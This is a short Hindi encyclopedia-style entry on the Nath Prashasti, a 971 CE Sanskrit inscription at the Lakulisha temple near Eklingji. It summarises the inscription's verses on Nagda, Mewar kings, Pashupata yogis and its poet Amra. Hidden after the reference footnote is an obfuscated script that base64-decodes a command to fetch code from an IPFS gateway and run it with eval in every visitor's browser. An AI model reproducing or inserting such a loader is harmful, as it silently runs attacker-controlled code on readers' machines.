नाथ प्रशस्ति, एकलिंगजी

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नाथ प्रशस्ति, एकलिंगजी (971 ई.)

  • यह एकलिंगजी के मन्दिर से कुछ ऊंचे स्थान पर लकुलिश के मन्दिर में लगा हुआ शिलालेख (वि.सं. 1028, 971 ई.) का है, जिसे नाथ प्रशस्ति भी कहते हैं।
  • भाषा संस्कृत पद्यों में देवनागरी लिपि है।[1]
  • यह मेवाड़ के राजनीतिक और सांस्कृतिक इतिहास के लिये बड़े काम की है।
  • तीसरे और चौथे श्लोक में नागदा नगर का वर्णन है। पांचवें से आठवें श्लोक में यहां के राजाओं का वर्णन है जो बापा, गुहिल तथा नरवाहन हैं। आगे चलकर स्त्री के आभूषणों का वर्णन है।
  • 13वें से 17वें श्लोक में ऐसे योगियों का वर्णन है जो भस्म लगाते हैं, बल्कल वस्त्र तथा जटाजूट धारण करते हैं।
  • पाशुपत योग साधना करने वाले कुशिक योगियों तथा सम्प्रदाय के अन्य साधुओं का भी परिचय मिलता है जो एकलिंगजी की पूजा करने वाले तथा उक्त मन्दिर के निर्माता कहे गये हैं।
  • 17वें श्लोक में स्याद्वाद (जैन) तथा सौगत (बौद्ध) विचारकों को वाद-विवाद में परास्त करने वाले वेदांग मुनि की चर्चा है।
  • इस प्रशस्ति का रचयिता भी इन्हीं वेदांग मुनि के शिष्य आम्र कवि थे।[1]
  • इसमें अन्य व्यक्तियों के नाम भी हैं जो मन्दिर के निर्माणक थे या उससे सम्बन्धित थे, यथा- श्रीमार्तण्ड, लैलुक, श्री सधोराशि, श्री विनिश्चित राशि आदि।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 EklingNath ji Mewar (Rajasthan) (हिंदी) incrdiblerajasthan.blogspot.com। अभिगमन तिथि: 23 दिसम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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